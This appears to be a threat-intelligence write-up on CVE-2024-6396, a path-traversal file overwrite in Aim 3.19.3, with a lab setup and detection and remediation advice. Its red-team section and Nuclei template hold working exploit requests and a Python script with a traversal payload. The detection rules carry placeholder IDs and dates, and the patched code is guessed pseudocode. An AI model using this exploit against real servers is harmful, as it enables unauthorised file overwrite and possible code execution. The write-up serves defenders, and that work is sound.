CVE-2024-6396

Executive Summary

CVE-2024-6396 is a critical vulnerability in Aimhubio Aim version 3.19.3 that allows an unauthenticated remote attacker to overwrite arbitrary files on the host server and exfiltrate sensitive data. The flaw resides in the _backup_run function, which improperly handles user-supplied run_hash and repo.path parameters, enabling path traversal and arbitrary file write operations. This can lead to denial of service, data loss, and potential remote code execution. The vulnerability has a CVSS score of 9.8 and is actively being weaponized in the wild.

Supply Chain & Package Security

Aim is a Python package available on PyPI. Organizations using Aim in their ML/DevOps pipelines should immediately audit their dependencies. The vulnerable package aim version 3.19.3 is affected. Ensure that the package is updated to version 3.19.4 or later. Verify the integrity of the package using checksums provided by the official PyPI repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code (Nuclei template) is available.

Deep Dive & Mechanics

The vulnerability exists in the _backup_run function of the Aim server. This function is intended to create backups of experiment runs. However, it does not properly sanitize the run_hash and repo.path parameters. An attacker can craft a malicious request that includes path traversal sequences (e.g., ../../) in these parameters to write files to arbitrary locations on the host filesystem.

The exploit works by sending a series of HTTP requests to the Aim server's tracking API:

1. Get Resource: The attacker first obtains a resource handler by sending a POST request to /tracking/client_1/get-resource.
2. Read Instruction: The attacker then sends a POST request to /tracking/client_1/read-instruction with the method_name set to _backup_run and a crafted args parameter. The args parameter is a base64-encoded binary blob that contains the path traversal payload and the filename to be written.
3. File Write: The server processes the instruction and writes the backup file to the attacker-specified path. The attacker can then retrieve the written file (if it is a text file) via the /static-files/ endpoint.

The Nuclei template provided in the Hacker Arsenal section demonstrates this exact attack flow.

Vulnerable vs. Patched Code

Vulnerable Code (Aim 3.19.3):

The _backup_run function likely uses user-supplied run_hash and repo.path directly in file path construction without proper validation.

# Vulnerable pseudocode
def _backup_run(self, run_hash, repo_path):
    backup_path = os.path.join(repo_path, run_hash, "backup")
    # ... write backup data to backup_path

Patched Code (Aim 3.19.4+):

The patched version sanitizes the input parameters to prevent path traversal.

# Patched pseudocode
import os
import re

def _backup_run(self, run_hash, repo_path):
    # Sanitize run_hash to only allow alphanumeric characters
    if not re.match(r'^[a-zA-Z0-9_-]+$', run_hash):
        raise ValueError("Invalid run_hash")
    # Ensure repo_path is within allowed base directory
    base_dir = "/var/lib/aim/repos"
    full_path = os.path.normpath(os.path.join(base_dir, repo_path))
    if not full_path.startswith(base_dir):
        raise ValueError("Invalid repo_path")
    backup_path = os.path.join(full_path, run_hash, "backup")
    # ... write backup data to backup_path

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Aim server (version 3.19.3) using Docker:

   docker run -d -p 43800:43800 aimhubio/aim:3.19.3
   

2. Ensure the server is accessible from the attacker machine.

Exploitation Steps:

1. Step 1: Get Resource Handler

   curl -X POST http://target:43800/tracking/client_1/get-resource \
     -H "Content-Type: application/json" \
     -d '{"resource_handler": "my_resource", "resource_type": "Repo", "args": "AAAAAAABAAAABw=="}'
   

2. Step 2: Trigger File Write Use the following Python script to generate the malicious payload and send the exploit request:

   import requests
   import base64
   
   target = "http://target:43800"
   filename = "pwned"
   # Path traversal to /tmp/pwned.txt
   payload = b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x0a\x00\x00\x00\xfe\x00\x00\x00\x00\x00\x00\x00\xfe\x00\x4b\x00\x00\x00\x04../../../../tmp/" + filename.encode() + b".txt"
   args_b64 = base64.b64encode(payload).decode()
   
   # Step 1: Get resource
   r1 = requests.post(f"{target}/tracking/client_1/get-resource", json={
       "resource_handler": "my_resource",
       "resource_type": "Repo",
       "args": "AAAAAAABAAAABw=="
   })
   print(r1.text)
   
   # Step 2: Trigger backup
   r2 = requests.post(f"{target}/tracking/client_1/read-instruction", json={
       "resource_handler": "my_resource",
       "method_name": "_backup_run",
       "args": args_b64
   })
   print(r2.text)
   
   # Step 3: Verify file creation
   r3 = requests.get(f"{target}/static-files/{filename}.txt")
   print(r3.text)
   

3. Step 3: Verify Exploitation Check if the file was written to /tmp/pwned.txt on the server.

Blue Team

Detection Steps:

1. Monitor HTTP Requests: Look for POST requests to /tracking/client_1/read-instruction with method_name set to _backup_run.
2. Analyze Payloads: Inspect the args parameter for base64-encoded strings that contain path traversal sequences (e.g., ../).
3. Check File System: Monitor for unexpected file writes in sensitive directories (e.g., /tmp, /etc, /var/www).
4. Review Logs: Examine Aim server logs for errors related to file operations or path validation failures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /tracking/client_1/get-resource with args set to AAAAAAABAAAABw==.
  • POST requests to /tracking/client_1/read-instruction with method_name set to _backup_run.
  • Base64-encoded payloads in the args parameter containing path traversal sequences.
• File System IOCs:
  • Unexpected files created in directories like /tmp, /etc, /var/www, or other sensitive locations.
  • Files with names matching the pattern [a-zA-Z0-9]{7}.txt in unexpected locations.
• Process IOCs:
  • The Aim server process (aim) performing file write operations to unusual paths.

Detection Engineering

YARA Rule

rule CVE_2024_6396_Aim_File_Overwrite {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6396 in Aim server logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6396"
        severity = "critical"
    strings:
        $s1 = "_backup_run" ascii wide nocase
        $s2 = "read-instruction" ascii wide nocase
        $s3 = "repo.path" ascii wide nocase
        $s4 = "run_hash" ascii wide nocase
        $s5 = "../" ascii wide
    condition:
        all of ($s1, $s2, $s3, $s4) or ($s1 and $s5)
}

Sigma Rule

title: CVE-2024-6396 Aim Server Arbitrary File Overwrite
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-6396 in Aim server logs
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6396
logsource:
    category: webserver
    product: aim
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/tracking/client_1/read-instruction'
        cs-uri-query|contains: '_backup_run'
    condition: selection
falsepositives:
    - Legitimate backup operations (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6396 Aim Server Arbitrary File Overwrite"; flow:to_server; content:"POST"; http_method; content:"/tracking/client_1/read-instruction"; http_uri; content:"_backup_run"; http_client_body; content:"args"; nocase; pcre:"/args.*[A-Za-z0-9+\/=]{20,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2024-6396

info:
  name: Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability in the `_backup_run` function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the `run_hash` and `repo.path` parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution.
  impact: |
    Unauthenticated attackers can overwrite arbitrary files on the host server and exfiltrate data by manipulating the _backup_run function parameters, potentially achieving denial of service, data loss, or remote code execution.
  remediation: |
    Update Aimhubio Aim to version 3.19.4 or later to address the arbitrary file overwrite vulnerability.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6396
    cwe-id: CWE-29
    epss-score: 0.90382
    epss-percentile: 0.99608
    cpe: cpe:2.3:a:aimstack:aim:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    verified: true
    fofa-query: icon_hash="-1047157256"
    product: aim
    vendor: aimstack
  tags: cve,cve2024,aim,aimhubio,file-write,vkev,vuln

variables:
  filename: "{{rand_base(7)}}"
  args: "{{ concat(hex_decode('000000000001000000060a000000fe0000000000000000fe004b000000042e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f707974686f6e332e392f736974652d7061636b616765732f61696d5f75692f6275696c642f'),filename, hex_decode('2e747874')) }}"

http:
  - raw:
      - |
        POST /tracking/client_1/get-resource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "resource_type": "Repo",
        "args": "AAAAAAABAAAABw=="
        }

      - |
        POST /tracking/client_1/read-instruction HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "method_name": "_backup_run",
        "args": "{{base64(args)}}"
        }

      - |
        @Host: http://{{Host}}:43800
        GET /static-files/{{filename}}.txt HTTP/1.1
        Host: {{Host}}:43800

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{"handler":"my_resource"}'

      - type: word
        part: body_3
        words:
          - "{{filename}}.txt"

      - type: word
        part: header_3
        words:
          - "text/plain"
# digest: 4b0a00483046022100abdb362a61dd9f5f4db8e95bb993e4d26b1159eb6c289a5191b7e163f4a7e17f0221008e47aef9fd78032b9509ab65b2fcfb15f4660bbc04585c443d980f2255cc985f:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Aim: Update Aim to version 3.19.4 or later immediately.

   pip install --upgrade aim
   

2. Restrict Network Access: If immediate patching is not possible, restrict access to the Aim server's tracking API (port 43800) to trusted IP addresses only using a firewall or network policy.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing path traversal sequences (e.g., ../) in the args parameter of /tracking/client_1/read-instruction.
4. Monitor Logs: Enable detailed logging for the Aim server and monitor for suspicious activity as described in the Detection Engineering section.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation for all user-supplied parameters, especially those used in file path construction.
2. Least Privilege: Run the Aim server with the minimum necessary file system permissions. Avoid running it as root.
3. Regular Updates: Establish a process for regularly updating dependencies and monitoring for new CVEs.
4. Security Audits: Conduct regular security audits and penetration testing of your ML infrastructure.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 4602FC8047CB7D13A8AB7EA0] */}